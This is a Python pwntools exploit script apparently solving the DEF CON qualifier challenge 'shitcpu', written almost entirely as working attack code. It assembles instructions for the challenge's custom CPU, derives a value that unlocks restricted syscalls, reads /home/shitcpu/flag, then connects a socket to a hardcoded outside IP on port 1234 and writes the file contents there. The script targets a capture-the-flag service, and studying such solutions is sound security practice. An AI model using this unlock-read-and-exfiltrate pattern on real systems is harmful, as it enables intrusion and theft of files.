defcon_shitcpu_solution.py

#!/usr/bin/env python
# encoding: utf-8

from pwn import *

GDB = 0
LOCAL = 0

filename = "/home/shitcpu/flag"


mem = bytearray("")
MEM_filename = len(mem)
mem += bytearray(filename+"\x00")
print "mem", repr(mem)
# _a instructions are without 0x800 bit set
# _b instructions have it set
class Assembler:
    SC_EXIT  = 0xfa8
    SC_FOPEN = 0xfa1
    SC_FREAD = 0xfa3
    SC_WRITE = 0xfa6
    SC_SOCKET = 0xFA4
    SC_CONNECT = 0xfa9
    SC_BIND_LISTEN = 0xfaa
    SC_ACCEPT = 0xfab
    def __init__(self):
        self.prog = []

    def ins(self, num, arg, b=False):
        assert 0 <= num and num < 16
        assert 0 <= arg and arg < 2**12
        ins = (num << 12) | arg
        if b:
            ins |= 0x800
        #return struct.pack("<H", ins)
        self.prog.append(ins)

    def ins15(self, sub, arg):
        self.ins(15, (sub<<8) | arg)

    def mul(self, reg_out, reg_a, reg_b):
        assert reg_out <= 7 
        assert reg_a <= 0xf
        assert reg_b <= 0xf
        print "r%d <- r%d * r%d" % (reg_out, reg_a, reg_b)
        self.ins(5, (reg_out << 8) | (reg_a << 4) | reg_b)

    def xor(self, reg_out, reg_a, reg_b):
        assert reg_out <= 7 
        assert reg_a <= 0xf
        assert reg_b <= 0xf
        print "r%d <- r%d ^ r%d" % (reg_out, reg_a, reg_b)
        self.ins(4, (reg_out << 8) | (reg_a << 4) | reg_b)

    def sub(self, reg_out, reg_a, reg_b):
        assert reg_out <= 7 
        assert reg_a <= 0xf
        assert reg_b <= 0xf
        print "r%d <- r%d - r%d" % (reg_out, reg_a, reg_b)
        self.ins(3, (reg_out << 8) | (reg_b << 4) | reg_a)

    def mov(self, reg_dest, reg_src):
        assert reg_dest <= 0xf
        assert reg_src  <= 0xf
        print "r%d <- r%d" % (reg_dest, reg_src)
        self.ins15(5, (reg_src << 4) | reg_dest)

    def memread(self, reg, off):
        assert off <= 0xff
        self.ins(2,(reg << 8) | off,b=True)

    def or_imm(self, reg, val):
        assert reg <= 7
        assert val <= 0xff
        print "r%d |= %d" % (reg, val)
        self.ins(0,(reg << 8) | val,b=True)

    def lshift(self, dest, src, amountreg):
        print "r%d <- r%d << r%d" % (dest, src, amountreg)
        self.ins(7,(dest << 8) | (amountreg << 4) | src,b=True)

    def set_reg(self, reg, val):
        self.xor(reg,reg,reg)
        if val >> 8:
            self.or_imm(reg,val >> 8)
            self.lshift(reg, reg, 7)
        self.or_imm(reg,val & 0xff)

        #self.memread(reg, off=0)
        #self.jmp_imm(to=1)
        #self.prog.append(val)
        pass

    def syscall(self, *regs):
        for reg, val in enumerate(regs):
            self.set_reg(reg, val)
        print "syscall r0"
        self.ins15(9, 0) # register 0 contains SC number

    def jmp_imm(self, to):
        print "jmp +%d" % (to)
        self.ins(13, to)

    def jg(self, reg, off):
        print "jg +%d" % (off)
        self.ins(12, (off << 4) | reg)

    def neg(self, dest, src):
        print "r%d <- -r%d" % (dest, src)
        self.ins15(4, (src << 4) | dest)

    def special(self, which):
        print "special %d" % which
        self.ins15(10, which)

    def gogogo(self):
        self.or_imm(7, 8) # for shifting

        #self.set_reg(2,0x1234)
        #self.jmp_imm(to=0x100)
        self.special(1) # save rand1, rand2 into r0, r1
        self.mov(4,0) # store rand in 4,5
        self.mov(5,1)

        self.mov(8, 4)
        self.sub(6,4,5) # r0>r1: r6 positive
        self.jg(6,1)
        self.neg(4,4)
        #self.mul(1,4,5)
        self.mul(0,4,5)
        self.mov(14,0)

        # r2 <= r1? then
        
        self.sub(6,0,5) # r0>r1: r6 positive
        self.jg(6,2)
        self.xor(1,0,5)
        self.jmp_imm(1)
        self.xor(1,0,4)

        self.mov(15,1)


        #self.mov(0,2) # store result in 0,1
        #self.mov(1,3)
        """
          if ( (unsigned __int16)r1 <= (unsigned __int16)r2 )
              out1 = r2 * -r1;
          else
              out1 = r1 * r2;
          out2 = out1 ^ r1;
          if ( (unsigned __int16)out1 <= (unsigned __int16)r2 )
              out2 = r2 ^ out1;
        """
        self.ins15(10, 3) # unlock syscalls
        self.ins15(10, 0) # load lock flag
        self.syscall(self.SC_FOPEN, MEM_filename, 5)
        self.mov(12,0) # FILE

        self.mov(1,12) # FILE
        self.set_reg(2,0xfc) # len
        self.set_reg(3,0) # target ptr
        self.syscall(self.SC_FREAD)
        self.mov(1,12) # FILE
        self.set_reg(2,0xffff) # len
        self.set_reg(3,0) # target ptr
        self.syscall(self.SC_FREAD)

        self.syscall(self.SC_SOCKET)
        self.mov(10,0)
        self.mov(1,10)
        from socket import htons
        self.set_reg(2,0xde94)
        self.set_reg(3,0xc658)
        self.set_reg(4,htons(1234))
        self.syscall(self.SC_CONNECT)
        self.mov(1,10)
        self.set_reg(2,0xf0)
        self.mov(3,0)
        self.syscall(self.SC_WRITE)

        return self.prog

class CPU:
    def __init__(self, local):
        if local:
            if GDB:
                self.s = gdb.debug(["./shitcpu.patched"])
            else:
                #self.s = process("./shitcpu.patched")
                self.s = process("strace ./shitcpu.patched", shell=True)
        else:
            self.s = remote("shitcpu_5f766bf9fb92aead0ae2de76ea57f21c.quals.shallweplayaga.me", 19192)

    def wb(self, pos, val):
        self.s.send("wb %x\t%x\n" % (pos, val))

    def ww(self, pos, val):
        self.s.send("ww %x\t%x\n" % (pos, val))

    def run(self):
        self.s.send("run\n")
        while True:
            try:
                res = self.s.recvall()
            except:
                pass
            else:
                print res
                if not res:
                    break

    def main(self):
        prog = Assembler().gogogo()
        for idx, val in enumerate(mem):
            self.wb(idx, val)

        for idx, ins in enumerate(prog):
            self.ww(0x4000+idx*2, ins)
        if GDB:
            raw_input()
        self.run()


if __name__ == '__main__':
    CPU(LOCAL).main()